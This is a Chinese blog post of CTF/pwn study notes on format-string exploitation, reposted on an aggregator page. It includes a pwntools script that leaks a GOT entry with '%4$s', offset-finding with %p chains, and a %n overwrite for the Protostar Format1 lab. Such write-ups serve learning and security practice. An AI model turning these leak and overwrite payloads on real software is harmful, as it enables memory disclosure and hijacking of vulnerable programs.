pwn 学习笔记 格式化串计算偏移量

您所在的位置:网站首页 格式化字符串c4是什么意思啊 pwn 学习笔记 格式化串计算偏移量

pwn 学习笔记 格式化串计算偏移量

2024-07-07 13:01| 来源: 网络整理| 查看: 265

学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/

利用%s泄露libc函数的got表内容

addr%k$s可以用来泄露指定地址的内容,但要先确定k的值,可控制的格式化字符串参数是函数第几个参数(k+1),减一就是格式化字符串的第几个参数(k)。

利用  [tag]%p%p%p%p%p%p%p%p%p%p来确定k的值

(懒得打字)

利用下面这个脚本随便改改就可以泄露got表内容了,觉得自己好草率

from pwn import * sh = process('./leakmemory') leakmemory = ELF('./leakmemory') __isoc99_scanf_got = leakmemory.got['__isoc99_scanf'] print hex(__isoc99_scanf_got) payload = p32(__isoc99_scanf_got) + '%4$s' print payload gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%4$s\n') print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got sh.interactive()

利用%n覆盖内存

输出格式 %n 可以将所输出字符串的长度值赋绐一个变量, 见下例:     int slen;     printf("hello world%n", &slen);     执行后变量slen被赋值为11。

payload结构:...[overwrite addr]....%[overwrite offset]$n

我们需要先1.确定要覆盖的内容的地址 2.确定与可控变量的相对偏移 3.构造payload进行覆盖

这里以Protostar的Format1为例子(https://exploit-exercises.com/protostar/)

源码为:

看源码可知,由print(string)引起的只要target不为0,就能执行if语句中的命令,思路就是覆盖target变量地址的内容,使target有值。

1.找到target的地址

找到target的地址为0x08049638

2.计算target与print参数的偏移量

被这步不知道坑了多久,终于找到了一个靠谱的方法(https://lightless.me/archives/protostar-format-writeup.html)

参拜了大神的方法之后,算出来偏移量,步骤如下

先大概测一下

减少四个

发现还差两个,补一下

可以看到括号里为自己输入的ABCD,终于对啦,把ABCD换为target的地址

3.括号里面变成了target的地址,接下来只用把最后的[%08x],换成[%08n]

就可以覆盖target的内容,是target不在为空,成功执行if语句中的命令

艰难的一天终于结束啦,果然还是晚上脑子比较好用。洗洗睡吧



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3